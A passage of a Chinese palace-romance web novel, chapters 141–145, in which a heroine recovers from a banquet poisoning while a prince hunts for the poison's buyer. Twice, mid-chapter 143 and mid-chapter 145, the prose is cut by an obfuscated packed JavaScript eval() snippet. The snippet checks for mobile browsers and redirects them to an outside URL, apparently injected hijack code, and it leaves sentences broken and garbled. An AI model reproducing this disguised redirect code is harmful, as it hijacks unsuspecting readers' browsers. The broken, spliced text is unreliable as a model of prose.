在冰水中浸泡了一段时间后,水温渐渐回升。 萧凌川这才起身,当着她的面换下湿漉漉的衣衫。 他胸膛结实,肌肉线条分明,配上那张俊美无俦的脸庞,显得格外野性张扬。 姜姝宁慌忙别开目光,语气中带着一丝幽怨:“多谢殿下相救!只是……殿下其实可以让我一个人泡在水里的。” 方才的姿势太过暧昧,让她几乎以为自己回到了前世那个旖旎缠绵的夜晚。 萧凌川剑眉紧蹙,她这是在怪他? “你以为我愿意这样?若我离开,你便会沉入桶底,到时候淹**都说不定!”他咬牙切齿道,“没见你这般没良心的!” 第141章 急于撇清关系 第一百四十一章急于撇清关系 萧凌川心中暗自后悔。 方才为何要故作正人君子? 倒不如顺势要了她,让她不得不嫁给自己,岂不更好? 姜姝宁被他这句略带幽怨的呵斥弄得有些过意不去。 人家只是担心她溺水,她却反过来埋怨他多此一举,着实有些不识好歹。 他没有趁人之危,占她便宜,是不争的事实。 以他前世那重欲程度,能忍下来已经是不易。 想到这,她低头道:“是臣女误会殿下了,臣女有错,请殿下责罚!” 他没好气道:“我的责罚,你承受得住吗?” 姜姝宁没有作声,只是懊恼地蜷缩着肩膀,一动不动地浸泡在水中。 湿漉漉的发丝凌乱地贴在她依旧泛着红晕的脸颊上,显得格外楚楚动人。 他的心像是被拨弄了一下,怒意顿时烟消云散。 “快些起身,换身干净衣裳。孙神医应该快到了,让他替你诊脉,看看如何将这媚药余毒彻底清除。” 说完,他便立刻转身离去。 再迟一步,他怕自己会忍不住把她从水中抱起来,以吻慰藉。 姜姝宁双脚发软,但还是努力撑起身子,从浴桶里爬出来。 萧凌川给她留的是他的衣衫,宽大至极,她就跟偷穿大人衣服的小孩似的,十分不合体地从房中走出来。 孙神医已经候在正厅里。 为她诊脉后,他神色凝重。 “姜姑娘所中的媚药,老夫从未见过。如今她体内余毒未清,须得施针方可化解。” 其实即便孙神医不说,姜姝宁也能清晰地感觉到,那股诡异的热潮并未消退。 离开冰冷的浴桶后,体内陌生的情欲又开始蠢蠢欲动。 姜姝宁双颊潮红:“有劳孙神医了。只是不知这施针需耗费多少时间?若是今夜无法返回相府,恐怕父母会担忧。” 彻夜未归,于她的名节终究有损。 何况她现在还穿着萧凌川的衣服…… 姜姝宁越想越心慌。 即便今夜萧凌川并未对她做出任何越矩之事,可若是让人瞧见她这副模样,跟已经发生了又有何区别? 难道又要像前世那般,因为清誉受损而不得不嫁给萧凌川吗? “这……”孙神医一时也难以断定,有些为难地看向萧凌川。 萧凌川沉声道:“先施针,尽力将毒素逼出。若是耗时过长,孙神医可乘坐姜姑娘的马车,在马车上继续施针。” 孙神医点了点头:“此法可行。” 正在此时,门外传来敲门声:“殿下,衣裳取来了!” 来人是凌风,他手中拿着一件桃红色的衣裙。 若不仔细观察,几乎看不出与姜姝宁那件湿透的衣衫有何区别。 姜姝宁顿时如释重负,眼眶微红:“多谢殿下!” 她最担心的便是衣衫不整地离开景和宫,被今夜参加宴会的人看见,便是跳进黄河也洗不清了。 见她这副模样,萧凌川心中不禁一阵酸涩:她是真怕与他扯上关系。 孙神医当即给她施针,逼出她体内的毒素。 姜姝宁接连吐出几口黑红色的淤血,顿觉体内那股灼热之感稍稍消退。 “多谢孙神医!”她气息微喘,额间布满了细密的汗珠,心中却如卸下千斤重担般轻松。 “老夫仅仅帮你逼出了体内不到四成的毒素,现在言谢,恐怕为时过早。”孙神医捋了捋胡须,神色凝重地说道。 萧凌川面色阴沉,语气冰冷地问她:“你可知道是谁对你下的毒手?” 姜姝宁回忆起药效发作前的种种,脱口而出:“我喝了张嫣递给我的酒水,头就开始晕,可是……她似乎没有理由要加害于我!” “或许,她真正想要加害的并非是你,或者说,她想害的人远不止你一个。”孙神医意味深长地说道。 “孙神医此话怎讲?”萧凌川追问道。 “殿下,姜姑娘所中的毒十分阴毒诡异,最可怕的是她排出体外的那些体液,若有男子与之交合,必死无疑。因此,老夫才断定,给姜姑娘下药之人,真正想要谋害的,是会与她共赴云雨的男子。” 听到这话,姜姝宁既惊恐又羞愤,脸色一阵红一阵白。 下药之人竟对她怀有如此深的恨意,不仅 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尽管内心波涛汹涌,她面上却丝毫不露,反而笑意盈盈地与他们打招呼:“四皇子殿下,姐姐,方才在宴会上遍寻不见你们的身影,莫非你们一直都在一起?” 她故意提高了音量,引得不少世家贵女纷纷侧目。 萧凌川见状,立刻沉下脸,语气生硬地说道:“三皇子妃误会了,我只是在路上偶遇姜姑娘罢了。” 姜瑶真心中冷笑,她都还没说什么呢,萧凌川便急于解释,有必要这么维护姜姝宁吗? 姜姝宁却从萧凌川的话里听出了另一层含义。 萧凌川急于在姜瑶真面前撇清和自己的关系。 她方才还在暗自赞叹他美色当前仍能坐怀不乱,如今细细想来,或许他只是为了自己心仪之人守身如玉罢了。 前世,为了让姜瑶真顺利登上后位,他不惜暗中给她下避子药,断绝她当母亲的可能。 想到这些,姜姝宁如同被一盆冰水从头浇到脚,瞬间清醒过来。 她暗暗告诫自己,绝不能因为他如今的些许善意,就忘记前世他是如何狠心待她的。 否则,那些苦岂不是白受了? 第142章 我要亲手杀了他! 第一百四十二章我要亲手杀了他! 孙神医和姜姝宁一起登上了回相府的马车。 他一落座便立刻取出银针,神情专注地为她施针。 凌芜被这突如其来的一幕惊得目瞪口呆,慌忙问道:“大小姐,您这是怎么了?” “我被人暗算了,中了毒。不过你别担心,有孙神医在,他医术高明,定能帮我将毒素逼出。” 姜姝宁虚弱地说道,话音未落,就忍不住吐出一口黑色的浊血。 这可把凌芜吓坏了,她急忙掏出帕子,小心翼翼地为姜姝宁擦拭嘴角,一脸担忧地看着孙神医:“孙神医,我家小姐没事吧?” “如今我最多只能逼出她体内六成的毒素,剩下的四成,恐怕还得回去好好调理。”孙神医问道,“这马车里可有笔墨纸砚?” “有的!”凌芜连忙翻找,很快便找来纸笔,恭敬地递给孙神医。 孙神医接过笔纸,在上面飞快地写下一张药方:“这是解毒的方子,先让府医按照这个方子给姜姑娘配药。容老夫这几日再研制出更好的解药,让人送来给姜姑娘服用!” “多谢孙神医!”凌芜接过方子,小心翼翼地放入袖中。 “麻烦姑娘在前方的路口放老夫下车。”孙神医说道。 “是,孙神医!”凌芜连忙吩咐车夫老杨将马车停靠在路口边,恭敬地与孙神医道别。 此时,姜姝宁早已昏迷过去。 方才在宫宴之上,为了不让旁人察觉到异样,她一直强撑着身体的不适。 如今看到凌芜,紧绷的神经也彻底松懈下来,随即陷入昏迷。 看着她脸色苍白,虚弱无力的模样,凌芜心疼不已。 “大小姐,您在宴会上到底经历了什么?” 当马车在相府门前停下时,姜姝宁像是有感知一般,从昏迷中苏醒过来。 她强忍着不适,低声嘱咐凌芜:“此事切莫声张,别让父亲和母亲知道我**的事情。” 自从痛失长子后,姜夫人便对各种宴会失去了兴致,每晚都只是焚香念经,早早便歇下了,并没有陪她一同前去参加小公主的满月宴。 “是,奴婢明白!”凌芜搀扶着姜姝宁进了府,又叮嘱守门的护院们不要声张,以免惊扰了相爷和夫人。 总算没有惊动姜丞相和姜夫人,两人回到了翠竹院。 不料在院门口遇到了正一脸焦灼地等候着的姜天泽。 “大姐姐今夜怎么这么晚才回来?”他话音刚落,便察觉到有些不对劲,姜姝宁正虚弱地倚靠在凌芜身侧,脸色苍白如纸。 他心头一紧,连忙上前扶住她:“大姐姐,你怎么了?” “大小姐在宫宴上中了毒,方才孙神医在马车上为她施了针,勉强逼出了一些毒素,但仍有余毒未清。”凌芜解释道。 姜天泽闻言,瞳孔骤然紧缩,一股强烈的不安感瞬间涌上心头。 “她究竟中了什么毒?”他声音有些颤抖地问。 “奴婢也不清楚,只知道孙神医留下了一张药方,吩咐我们尽快煎药给大小姐服用。” 凌芜说着,从袖中取出那张药方,递给姜天泽。 姜天泽迅速扫视着药方上的药材,脸色瞬间变得惨白。 他连忙上下打量着姜姝宁,见她衣衫完整,发髻也并无凌乱,悬着的心这才稍稍放下一些。。 “大姐姐她……有没有说是谁下的毒?有没有说在宫宴上发生了什么事?”他语气急切地追问道。 “奴婢什么都不知道……三少爷,您就别再问了,还是赶紧去找府医给大小姐配药要紧,大小姐还受着毒的折磨呢!” 姜天泽这才如梦初醒般,慌忙说道:“对,对,我现在就去找府医!” 他立刻赶去找府医,让府医照着方子配了药,又和凌芜一起煎药,然后亲自喂姜姝宁喝下。 看着她终于沉沉睡去,他这才跌跌撞撞地回到西院。 此时已是深夜,夜深人静,姜三爷和姜三夫人早已进入梦乡。 他径直来到姜三夫人的房门前,用力地敲响了房门。 姜三爷被吵醒,在睡梦中嘟嘟囔囔,姜三夫人连忙起身,披上外衣,打开房门走了出去。 “天泽,三更半夜的,你不睡觉跑来这里做什么?”她语气略带责备地问道。 “母亲,当初购买‘牡丹花下’的人,究竟是谁?”姜天泽神色阴沉,语气冰冷。 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“大姐姐的清白并未被毁。”姜天泽语气冰冷地打断她,“但她体内的毒素尚未清除干净,现在仍然昏迷不醒,情况十分危急。” “什么?”姜三夫人闻言,脸上露出几分诧异,“她中了‘牡丹花下’,竟然还有男子能忍住不与她行鱼水之欢?这……简直是世间罕见!” “母亲就别再说这种风凉话了!”姜天泽语气不善道,“如果母亲不肯告知儿子买家的信息,至少能把解毒的法子告诉我吧?” “你又不是不知道,我只会制毒,对如何解毒一窍不通。” “那就把您调制‘牡丹花下’的方子拿出来,我交给宫里的那位医师看看,说不定能帮他尽快研制出解药!” “这……”姜三夫人面露犹豫之色。 “怎么,母亲既不肯透露买家的身份,也不肯拿出制毒的方子吗?”姜天泽语气咄咄逼人,仿佛随时都要和她拼命一般。 姜三夫人见儿子态度如此强硬,知道今天不给出一个交代是无法善了了,不由得深深叹了口气。 “好吧,我把方子给你。”她语气凝重地强调道,“这次只是破例,下不为例!” 第143章 冲动是魔鬼 第一百四十三章冲动是魔鬼 第二日,天色微亮,姜天泽便早早地来到了翠竹院。 他问凌芜:“你可有办法联系上那位宫中的孙神医?” “奴婢可以一试。”凌芜答道。 姜天泽递给她一张写满了字迹的纸张:“那就拜托你将这张方子交给孙神医,请他尝试着根据此方子来配置解药,或许就能帮助大姐姐彻底清除体内的毒素!” “这上面是……”凌芜接过纸张,有些迟疑地问。 “这是我昨夜熬夜翻阅了大量书籍,根据大姐姐的状况找到的一张**方子。大姐姐很可能就是中了这种毒才导致如今这般光景的……总之,你只需将这方子交给孙神医即可,其他的无需多问。”姜天泽欲盖弥彰道。 凌芜顿时了然,这毒十有八九就是出自姜三夫人之手! 这对母子竟然助纣为虐,帮着外人来残害自家人,真是罪该万死! 尽管心中怒火中烧,但凌芜面上却不动声色,只将那张纸小心翼翼地放入袖中,恭敬地应道:“是,三少爷,奴婢定会想法子,尽快将这张方子送到孙神医手中!” 眼下最要紧的事情,还是尽快帮助大小姐解除身上的毒素。 至于这对恶毒的南月母子,就留给四皇子殿下亲自收拾吧! 此时的景和宫内,萧凌川正襟危坐,目光如冰刀般锐利地落在张嫣身上。 张嫣微微垂首,不敢直视他那双冷若冰霜的桃花眸,故作镇定地问道:“不知四皇子殿下召臣女前来,有何要事?” “昨夜,是谁指使你给姜姑娘下毒的?”萧凌川开门见山,语气冷冽,不带一丝温度。 “臣女听不懂殿下在说什么。”张嫣神色无辜,故作惊讶,“姜姑娘**了吗?昨夜宴席散后,臣女还看到她安然无恙地离开皇宫,怎么会**呢?” “不必在我面前装模作样!”萧凌川耐心告罄,俊美如铸的脸上戾气横生,“如实招来,我可以饶你不死。若你想包庇那始作俑者,就别怪本皇子不客气!” “殿下想做什么?”张嫣强压下内心深处的恐惧,鼓起勇气与他对视,“臣女如今已是准二皇子妃,说起来也是四皇子殿下未来的皇嫂。我知道四皇子殿下深受陛下器重,但还没能一手遮天到可以随意处置我的地步吧?” 萧凌川周身寒气逼人,仿佛要将周围的一切都冻结成冰:“你大可试试看。” 感受到他那冷若冰霜的目光,张嫣的心头猛然一紧,仿佛被一只无形的大手攥住,几乎喘不过气来。 但她很快便恢复了平静的神色。 昨夜,她将萧凌川引至偏殿后,又故意引萧怀瑾去那附近寻找姜姝宁。 他们抵达偏殿时,那里已经空无一人,她便知道这场算计并未得逞。 没想到,这位平日里看似冷漠疏离的四皇子,竟然如此维护姜姝宁的清白,在那样的情境之下,竟然还能克制住自己,不与她行云雨之事。 是她低估了萧凌川对姜姝宁的情意。 但即便如此,下毒一事,她也绝不会轻易承认。 否则,岂不是自投罗网,授人以柄? 就在两人之间的气氛僵持到极点时,凌风忽然走了进来,在萧凌川耳边低声禀告了几句,同时递上一张纸张。 萧凌川接过纸张,只扫了一眼,嘴角便勾起一抹意味深长的冷笑,深邃的眼眸中闪烁着令人不寒而栗的光芒,再次看向张嫣。 “既然张姑娘不愿配合,不肯供出幕后主使,那么,我就只好自己将他揪出来,让他亲自指证你!到时候,我倒要看看,张姑娘是否还会执迷不悟,后悔今日包庇之举!” 张嫣闻言,心头猛地一沉,一股强烈的不安感瞬间涌上心头。 但她极力控制着自己,没有泄露半点情绪。 昨夜她相当谨慎,没有留下任何手尾,他不可能掌握任何确凿的证据。 这事就算闹到御前也无法定她的罪! “四皇子殿下想做什么,悉听尊便。若是没有其他事情,臣女就先行告退了。”说完,她便转身离去。 待张嫣离开后,萧凌川立刻吩咐凌风:“立刻将这张制毒的方子送到孙神医手中,务必让他按照上面的配方,尽快研制出解药!速度要快,别让姜姑娘继续遭受毒素的折磨!” “是,殿下!”凌风领命,旋即快步退下。 萧琪钰得知张嫣始终不肯承认下药一事,颇为费解。 起初他还以为她是被人蒙蔽利用,如今看来,她的态度更像是和人共谋。 “她为何要如此陷害嫂嫂?难道她是三哥的人?这说不通啊,如果她是三哥的人,又为何要和二哥定亲?难道是三哥和二哥暗中结盟了?” 萧凌川冷声道:“这件事的真相,恐怕只有她自己才清楚。不过,如今我已经确定,这毒出自南月毒师之手。只要能从她口中问出买家的身份,就能知道究竟是谁如此歹毒,竟然想用如此下三滥的手段来陷害我和姜姑娘!” 萧琪钰脸上露出调侃的笑:“幸好四哥你定力够好,没有越雷池半步!不然的话,恐怕就要落得个**身亡的下场了!老实说,面对如此美色,四哥,你究竟是怎么把持住的?” 那可是他朝思暮想的姜姑娘啊,那种情形,是个男人都控制不了,四哥竟然忍住了,莫非…… 萧凌川幽幽地看了他一眼:“我服解药了。” 给姜姝宁服下那颗解媚药的药丸,却发现不起作用后,他便立刻给自己也服下了一颗,以防把持不住。 萧琪钰顿时恍然大悟:“原来如此!我方才还在担心,四哥你是不是有什么隐疾呢!” 萧凌川:“……” “四哥,你怎么不说话?” 萧凌川双眸微眯,目光危险:“我在考虑是把你的舌头拔下来呢,还是直接把你毒哑比较好?” 萧琪钰顿时大惊失色:“四哥,有话好好说,冲动是魔鬼啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709566|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>—— 很快,孙神医便凭借着那张“牡丹花下”的毒方,成功研制出了对应的解药。 解药被迅速送至相府,姜姝宁服下后,病情很快便得到了缓解。 凌芜喜极而泣,紧绷的心弦终于可以稍稍放松。 自从参加完小公主的满月宴回来后,姜姝宁便一直昏睡不醒,高烧不退。 凌芜不敢将真相告知姜丞相和姜夫人,只得谎称小姐是受了风寒。 可这几日断断续续地吃了不少药,却始终不见好转,她真怕自己隐瞒不住。 还好这解药及时研制了出来,总算让她安心了。 姜天泽得知消息后,也暗自松了一口气。 姜姝宁昏迷期间,他每日都守在她床边,亲自给她喂药。 可如今,她即将醒来,他却反而不敢来见她了。 心中既愧疚,又害怕。 怕对上她那双清澈如水的眼眸,便会忍不住将一切和盘托出。 是他母亲制出这让人难以启齿的毒,将她害成这样的…… 他又如何有颜面去面对他的大姐姐? 姜姝宁的身体刚刚恢复,萧凌川便派人给她送来口信,邀请她入宫一趟,让孙神医再做一次复查。 她欣然前往。 景和宫内,孙神医仔细地为姜姝宁诊脉,片刻后,脸上露出欣喜的笑容:“姜姑娘,你体内的毒素已经彻底清除,可以完全放心了!” “多谢孙神医!孙神医的医术果然高妙,令人叹服!”姜姝宁由衷感激道。 “这次能如此顺利地配制出解药,多亏了四皇子殿下提供的那张方子,否则,老夫也无法在如此短的时间内找到破解之法。”孙神医捋着胡须,感慨道。 姜姝宁听后,有些诧异地看向萧凌川:“殿下,什么方子?” 萧凌川没有回答她的问题,而是不动声色地转移了话题:“我听说你三弟如今正在骊山书院求学?” “是。” “前往骊山书院求学,无非是为了将来金榜题名,谋得一官半职,光耀门楣。”萧凌川目光落在她脸上,缓缓说道,“与其如此,你何不直接将他举荐给我?” 姜姝宁一愣,有些不确定地问:“殿下是想要将我三弟纳入麾下吗?” “你难道不希望这样吗?”萧凌川反问道,目光灼灼地盯着她,“在我这里,他可以少走许多弯路,更快地实现自己的抱负。” 老实说,姜姝宁心中确实有些心动。 并非所有人都能通过科举考试,成功踏入仕途,即使金榜题名,朝堂之上也充满了勾心斗角,也未必能得到重用。 但如果能够得到萧凌川的赏识,被纳入他的麾下,姜天泽便可以少奋斗许多年,轻松达到别人穷尽一生也无法企及的高度。 姜天泽是相府唯一的继承人,也是姜家唯一的男丁,肩负着光宗耀祖的重任,萧凌川提出的这个建议实在诱人。 只是…… 第144章 把他当个孩子 第一百四十四章把他当个孩子 只是,倘若姜家的未来,完全维系在萧凌川一人身上,那她日后岂不是连退路都没有? 更让她担忧的是,姜天泽若受萧凌川栽培,平步青云,日后会不会被那滔**势迷了眼,从而背弃她这个堂姐? 毕竟,在许多男子眼中,锦绣前程、高官厚禄,往往重于骨肉亲情。 萧凌川敏锐地察觉到她神色间的迟疑,神色微沉,语气带着几分压迫:“怎么,如此千载难逢的良机摆在眼前,你还想推拒不成?难道……你之前所说的,待我君临天下便心甘情愿做我的女人,也是哄骗我的?” 说最后一句话时,他倾身凑近,阴郁的目光带着毫不掩饰的审视,紧锁着她的眼眸。 姜姝宁心头猛地一跳,没想到他竟如此轻易便洞悉了她的心思。 她迅速敛起纷乱的思绪,脸上绽开一抹恰到好处的笑容,柔声道:“殿下说笑了。殿下愿意提携臣女的三弟,臣女受宠若惊,一时有些反应不过来罢了。” “那么,你的答案呢?”萧凌川追问道,不给她丝毫喘息之机。 姜姝宁暗自深吸一口气,努力维持脸上那受宠若惊的笑意,答道:“臣女求之不得!” 她心中飞快盘算:姜天泽与自己素来亲近,即便日后真为萧凌川所用,不一定会为了权势地位而背叛自己。 眼下,也只能先应承下来,走一步看一步了。 “甚好。”萧凌川唇角勾起一抹满意的弧度,眼底深处却掠过一丝晦暗,“既如此,你便寻个时机将他带来宫中,让我亲自瞧瞧。” 他心中冷笑:这一次,他不信自己还拿捏不住那南月毒师的软肋! 姜姝宁回到相府后,便径直前往西院去找姜天泽。 这几日,姜天泽一直刻意躲避着她,没料到她竟会主动找上门来,心中既欣喜,又不安。 “大姐姐找我,可是有什么事吗?”他略带拘谨地问道。 姜姝宁微微颔首:“四皇子殿下有意提携于你,想见你一面。” 姜天泽神情一怔,有些意外:“大姐姐是希望我追随四皇子殿下?” “能够得到皇子的赏识与提携,是无数人梦寐以求的。我自然希望你能借此机会光耀门楣,为姜家争光。”姜姝宁语气中带着几分期许。 前世夺嫡之争,萧凌川与萧怀瑾势均力敌,如今又多了重生的优势,未来的皇位,无疑非他莫属。 追随他,便等同于追随未来的帝王,对于肩负家族兴衰的姜家继承人而言,这无疑是一条通往荣耀的捷径。 姜天泽想起那夜在宫宴之上见到的、与自己容貌有几分相似的萧凌川,以及后来姜三夫人告诉他的,他们之间的关系,眼眸深处闪过一丝复杂的神色。 “只要是大姐姐所期望的,天泽定当竭尽全力,绝不辜负!”他语气坚定道。 姜姝宁微微一笑,转而试探性地问道:“若有一日,让你在权势与亲情之间做出抉择,你会如何选择?” “自然是亲情!”姜天泽脱口而出,“若非为了守护姜家,让亲人过上安稳富足的生活,我又何必汲汲营营,臣服于权势?若权势非但无法保护我的家人,反而要我牺牲他们,岂不是舍本逐末,本末倒置了吗?” 听到这番话,姜姝宁心中涌起一股暖流,感动不已。 姜天泽虽年仅十六,却已然懂得亲情的可贵,拥有如此清醒的认知,实属难得。 她情不自禁地抬起手,疼爱地摸了摸他的头:“大姐姐果然没有白疼你!” 姜天泽双颊泛起一抹红晕:“大姐姐,我已经十六岁了,你别总是把我当成小孩子看待!” 虽然他很喜欢姜姝宁与自己亲近,但摸头这种举动,总让他觉得自己像个稚童,要么就是她养的小宠物。 姜姝宁这才收回手,笑得眉眼弯弯:“你能有多大?” “我只比大姐姐小一岁而已!”他强调道。 姜姝宁心里暗笑:我这可是个三十岁的灵魂,你一个十六岁的少年在我眼里,还真就是个没长大的孩子。 面上却依旧笑着打趣道:“是是是,你是个大孩子了,不是小孩子了!” 姜天泽:“……” 他在大姐姐眼里,就不能是个男人吗? 第二日,姜姝宁便带着姜天泽一同入宫。 马车上,她叮嘱道:“待会儿见到四皇子殿下,切记务必谨言慎行。他这人城府深沉,又极擅长旁敲侧击,你可千万要小心提防,莫要被他套了话去。” 听到这话,姜天泽忍不住道:“大姐姐似乎对四皇子殿下颇有微词?” 姜姝宁心中暗道:何止? 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姜姝宁见状,也连忙迈步跟了上去,却被萧凌川抬手制止了。 “男人之间的较量,你无需在场。”他声音冷厉,语气带着一丝不容置疑的意味。 “为何?”姜姝宁有些不乐意,“我只是在一旁观战而已,绝不会干扰你们比试!” 萧凌川俊美的脸上浮起一丝不易察觉的嘲弄之色:“既然姜姑娘如此心疼自己的堂弟,生怕他有所损伤,那不如还是将他带回去吧。本皇子可没有兴致提携一个离不开襁褓的稚童!” 这番话语,无疑激起了姜天泽内心深处那股想要证明自身实力的强烈冲动。 他看向姜姝宁,神色坚定:“大姐姐,不必担心,我一个人可以的!” 说着,他又转过头,面向萧凌川,拱手道:“殿下,我们这便过去吧!” 他可堂堂男子汉,哪需要大姐姐在一旁看护与照料? 这四皇子殿下未免太小瞧他了! 姜姝宁无奈,只能由着他独自前往操练场。 萧凌川眼底飞快地掠过一丝不易察觉的阴鸷之色:激将法果然奏效了! 第145章 你很闲吗? 第一百四十五章你很闲吗? 两人一前一后,行至操练场。 还未等姜天泽站稳脚跟、有所防备,萧凌川便已骤然发难,凌厉的拳风直扑面门。 他的招式迅猛而狠辣,无论是速度还是力量,都远非姜天泽所能企及,他们的武艺根本不在同一层次。 仅仅过了三招,姜天泽便已落入下风,被萧凌川以雷霆之势反剪双手,重重地压制着跪倒在地。 手臂上传来一阵阵撕心裂肺般的剧痛,仿佛要将骨头碾碎一般,姜天泽紧咬牙关,硬生生地将即将脱口而出的痛呼声咽了回去。 “四皇子殿下果然武艺超群,天泽甘拜下风!”他强忍着剧痛,艰难地开口。 萧凌川冰冷的声音从他身后传来,带着一股令人不寒而栗的压迫感:“本皇子没工夫听你恭维!那日姜姑娘身上所中的媚毒,是你母亲所制吧?好大的胆子,一个南月余孽,竟敢潜藏于我大邺境内,私下里兜售**,扰乱纲纪!” 姜天泽闻言,眼底瞬间掠过一丝惊慌。 早在交出那份制毒方子时,他便已经预料到,此举有暴露他母亲**的风险。 但那日姜姝宁所中的毒实在太过霸道,情况万分危急,他实在无法眼睁睁地看着她遭受**的折磨与摧残,这才冒险将方子交了出去。 他万万没有想到,这位四皇子殿下为了引他入局,竟然会以提携他为名,欺骗姜姝宁带他前来。 当真是城府深沉,阴险狡诈至极! “殿下要杀要剐,悉听尊便!” “看来你真不怕死。不过,我并非想取你性命,只想让你如实相告,购买此毒的人究竟是谁?你若肯说出实情,我便可既往不咎,并兑现承诺,日后尽力提携你。若是不说……”萧凌川蓦地加重了手中的力道,只听得姜天泽的手臂关节处发出令人牙酸的咯咯摩擦之声,仿佛随时都有可能断裂一般。 “我真的不知道!”姜天泽疼得龇牙咧嘴,额头上的青筋根根暴起,“我曾多次追问过母亲,但她始终不肯吐露半个字!不瞒您说,我比您更加想要知道买家究竟是谁!” 这样,他便可以亲手将那人**万段,以泄心头之恨! 萧凌川冷哼一声,语气带着一丝嘲讽:“她不肯告诉你,你就毫无办法了吗?难道你就不能以自己的性命作为要挟,逼迫她亲口说出买家的身份?” “我如何能用性命……啊!”姜天泽话音未落,便突然感到手臂传来一阵锥心刺骨般的剧痛,让他再也无法忍受,忍不住发出一声凄厉的惨叫。 趁他嘴巴大张之际,一颗冰凉的药丸便被强行塞入了他的口中。 萧凌川紧紧地捂住他的嘴巴,不容分说地逼迫他将那颗药丸吞咽下去,声音冰冷:“现在,你便有办法了。” 姜天泽:“……” 大姐姐,四皇子哪里是城府深沉啊,他简直就是一个不折不扣的魔鬼! 萧凌川这才缓缓松开他,慢条斯理地帮他将脱臼的手臂接了回去,语气慵懒而随意:“回去告诉你母亲,你已经服下了一颗**,若是在十二个时辰之内无法拿到解药,必定会毒发身亡。她若想要得到解药,便拿买家的信息来与本皇子交换。” 姜天泽疼得脸色煞白如纸,大口大口地喘着粗气,看向萧凌川的目光中充满了恐惧与愤恨,却又不敢轻举妄动。 “是,殿下……我记住了。” 话音刚落,萧凌川便毫不留情地一拳狠狠地砸在他的左眼之上,打得他眼冒金星。 看着他左眼眶上迅速浮起一块触目惊心的青肿印记,萧凌川这才满意地点了点头:“这下看起来顺眼多了。” 姜姝宁不是一直说他和姜天泽长得很像吗? 现在,他们总该不像了吧? 姜天泽:“……” 大姐姐,我总是明白你为何会如此厌恶这位四皇子殿下了! 姜天泽默默地跟在萧凌川身后,回到了正厅。 姜姝宁一见到姜天泽左眼上那触目惊心的乌青,顿时心疼不已:“天泽,你的眼睛怎么了?伤得这么重!” 还不等姜天泽开口,萧凌川便抢先一步,轻描淡写地说道:“切磋武艺,受伤是在所难免。只肿了一只眼睛,已经算好的了。” 若不是看着这是她的堂弟的份上,他真想直接将这个南月毒师的后代打得筋断骨折,卧床不起。 姜姝宁秀眉微蹙,显然对萧凌川的说法并不认同:“殿下武艺高强,天泽自然无法与您相提并论。既然说是切磋,殿下就应该稍微谦让着他一点,点到为止即可,何必让他挂彩?” “让着他点?”萧凌川冷哼一声,“若是将他扔到危机四伏的战场之上,那些穷凶极恶的敌军又是否会对他手下留情,谦让他几分呢?” “殿下你……”姜姝宁听出了他话里隐藏的深意,略带惊讶地问道,“殿下莫非是打算让天泽将来成为一名武将?” “如今的大邺,国力算不上是最为强盛的,无论是南月,还是西洲,都对我大邺的疆土虎视眈眈。在战乱纷争的动荡时期,自然是武将更加吃香,也更容易出人头地。普天之下,还有什么能够比得上掌握兵权更能让人拥有权势和地位呢?” 听萧凌川这一番的分析,姜姝宁也觉得颇有道理。 姜丞相和顾御史皆是地位颇高的文人,可他们却连自己唯一的儿子都无法保护周全。 武将虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709568|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然会被当权者所忌惮,但却也无人胆敢轻易地欺辱和冒犯。 只是…… 她再次将目光投向姜天泽那红肿的左眼,依旧心疼不已:“即便如此,殿下你也应该稍微控制一下力道,下手轻一点。他毕竟还只是个孩子!” 姜姝宁这话,无疑又一次刺激到姜天泽,他忍不住反驳道:“大姐姐,我已经不是小孩子了!” 萧凌川趁机道:“你看,你的堂弟自己都不甚在意,你又何必在此妇人之仁?” 姜姝宁:“……” 这萧凌川,还真是会**! 姐弟两人并肩走出景和宫,沿着曲折蜿蜒的宫道缓缓而行。 忽然,一只毛茸茸的小鹿映入眼帘,它蹦蹦跳跳,格外引人注目。 “绒毛?你怎么会出现在这里?”姜姝宁惊喜地唤了一声,不由自主地向前走了两步。 正欲伸手抚摸它,那小鹿却突然撒开腿往前跑了几步,随后又停了下来,转过身,一双水汪汪的鹿眸一眨不眨地看着她。 姜天泽见状,暗自腹诽:谁用如此拙劣的手段来吸引他大姐姐的注意? 眼看着姜姝宁又要继续上前,试图与小鹿亲近,姜天泽快步走到她的身旁,拉住她的手往宫门的方向走去:“大姐姐,时辰已经不早了,我们还是尽快回府吧!” 见他们二人即将离去,不远处的萧怀瑾连忙装出一副正在寻找小鹿的模样,朝他们走了过来。 他笑容一如既往的和熙:“姜姑娘,真巧。” 注意到姜天泽左眼上的伤,他连忙关切地问:“令弟的眼睛这是怎么了?看起来似乎伤得不轻啊!” “见过五皇子殿下。”姜姝宁微微颔首,“今日臣女带着堂弟进宫,与四皇子殿下切磋武艺。天泽的武艺尚不精湛,不慎被四皇子殿下打伤了,让殿下见笑了。” 听她说是去见萧凌川,萧怀瑾藏在袖子底下的手下意识握紧。 “四哥下手也未免太重了些。”他提议道,“这伤看着挺严重的,要不去我宫里,我让宫人给他上药?” “不必了!”姜天泽语气生硬地拒绝,神情间透着一丝不耐烦,“多谢五皇子殿下的好意,不过我与大姐姐还有要事在身,想尽快赶回府,就不叨扰殿下了。” 